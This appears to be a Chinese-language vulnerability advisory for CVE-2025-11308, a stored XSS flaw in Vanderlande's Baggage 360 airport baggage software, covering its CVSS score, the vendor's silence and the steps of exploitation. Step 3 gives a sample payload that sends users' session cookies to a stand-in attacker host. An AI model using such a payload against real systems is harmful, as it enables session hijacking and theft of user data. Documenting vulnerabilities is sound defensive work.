CVE-2025-11308CVE-2025-11308是Vanderlande公司Baggage 360产品(版本7.0.0)中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于系统的/api-addons/v1/messages接口中,攻击者可以通过对Message参数进行恶意构造,将恶意脚本代码注入到系统中并存储在服务器端。当其他合法用户访问包含该恶意数据的页面时,浏览器会自动执行嵌入的脚本,从而导致会话劫持、敏感信息窃取、钓鱼攻击等安全风险。
该漏洞的CVSS 3.1评分为3.5分,属于低危级别。攻击者需要拥有低权限账户(PR:L),并通过网络远程发起攻击(AV:N),但需要用户交互(UI:R)才能触发漏洞的完整影响。漏洞主要影响系统的完整性(I:L),对机密性有一定影响(C:L),但不影响系统可用性(A:N)。
值得注意的是,Vanderlande公司在漏洞披露前已被联系,但未对披露做出任何回应。漏洞的PoC(概念验证代码)已经公开,可能被恶意攻击者利用。该漏洞由安全研究员YasserREED发现并报告。Baggage 360是Vanderlande公司用于机场行李处理系统的软件,其安全性对于航空运输行业至关重要。
该漏洞属于典型的存储型XSS(Cross-Site Scripting)漏洞,存在于Vanderlande Baggage 360 v7.0.0的/api-addons/v1/messages API端点中。
**漏洞原理:**
系统在对用户提交的消息内容(Message参数)进行处理时,未对输入进行充分的过滤和转义,也未对输出进行适当的HTML实体编码。攻击者可以构造包含恶意JavaScript代码的payload,并将其通过合法的API请求提交到服务器。由于服务器未对内容进行安全处理,恶意代码被持久化存储在后端数据库中。
**利用方式:**
1. 攻击者首先需要获取低权限账户的登录凭证(PR:L);
2. 通过认证后的会话,向/api-addons/v1/messages端点发送POST请求;
3. 在Message参数中注入恶意JavaScript代码,如:`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`;
4. 服务器将恶意消息存储到数据库中;
5. 当其他用户(包括管理员)查看包含该消息的页面时,恶意脚本将在受害者浏览器中执行;
6. 攻击者可窃取用户会话cookie、进行钓鱼攻击或执行其他恶意操作。
由于PoC已公开(托管在GitHub上),且厂商未发布补丁,该漏洞面临较高的被利用风险。